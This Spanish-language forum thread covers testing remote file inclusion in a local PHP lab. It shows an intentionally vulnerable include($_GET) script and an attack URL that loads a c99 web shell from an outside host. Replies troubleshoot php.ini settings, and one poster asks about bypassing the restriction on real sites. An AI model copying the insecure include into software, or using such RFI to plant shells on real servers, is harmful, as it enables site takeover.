Buenas, tome un ejemplo de un codigo vulnerable de la wiki de elhacker.net.
Este codigo que voy a poner a continuacion, lo tengo en un wamp, es decir me instale un servidor local para hacer la prueba.
El index.html seria el siguiente:
<HTML>
<HEAD>
<TITLE> Prueva de RFI </TITLE>
</HEAD>
<BODY>
<A HREF="rfi.php?cont=hola.html">Hola!</A>
<BR><BR>
<A HREF="rfi.php?cont=adios.html">Adios!</A>
</BODY>
</HTML>
El rfi.php seria el siguiente:
<?php
$var = $_GET["cont"];
include($var);
?>
Ahora bien, me cree una cuenta en un servidor gratuito, para ser mas especifico en este : 000webhost.com
Y subi una shell(c99) con extension en txt.
Ahora bien, verifique efectivamente que la web esta sea vulnerable de al siguiente manera : http://localhost/rfi.php?cont=http://google.com , efectivamente abre google.
Ahora, si pruebo hacer lo siguiente :
http://localhost/rfi.php?cont=http://mipagina/shell.txt
Me dan los siguientes errores y no entiendo el motivo.
Warning: include(http://mipagina.com/shell.txt) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\rfi.php on line 4
Warning: include() [function.include]: Failed opening 'http://mipagina.com/shell.txt' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi.php on line 4
Alguien entiendo cual es el problema? o si estoy haciendo algo mal?
Saludos y gracias.
Yo diria que declararon que la funcion include no abriera url externas, esto va en php.ini
usa un localhost para las pruebas
deben ser reestricciones del php.ini como dice KaozC9
asdasdasd
Habra alguna forma de pasar esa restriccion, sin necesidad de modficarlo en el php.ini , digo porque si encontramos una web vulnerable pero en ese servidor esta bloqueado la inclusion de archivos externos, entonces no se puede aprovechar la vulnerabilidad..
En ese caso entonces se necesitaria un servidor vulnerable y una web vulnerable para poderlo aprovechar!..
Saludos y gracias.
Edtio:
Busque en mi php.ini y encontre lo siguiente:
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On
Supongo que el problema debe venir por otro lado, ya que al parecer permite la inclusion de cosas del exterior.
A mi me pasa algo parecido pero ni sikiera me deja abrir google... el erro que me da a mi es el siguiente
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\xampp\htdocs\fileinclusion\index.php on line 13
He cambiado el php.ini y e puesto a On los dos parametros pero nada de nada... ¿alguien sabe como se debe confifurar el php.ini para poder hacer las pruebas?
Saludos ;)!
Cita de: TapIt en 20 Julio 2010, 23:10 PM
A mi me pasa algo parecido pero ni sikiera me deja abrir google... el erro que me da a mi es el siguiente
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\xampp\htdocs\fileinclusion\index.php on line 13
He cambiado el php.ini y e puesto a On los dos parametros pero nada de nada... ¿alguien sabe como se debe confifurar el php.ini para poder hacer las pruebas?
Saludos ;)!
Después de eso tienes el mismo error? Has reiniciado apache?
bale y yo pegandome con el php.ini como un tonto a ver si veia algo... jajaj muchas gracias :)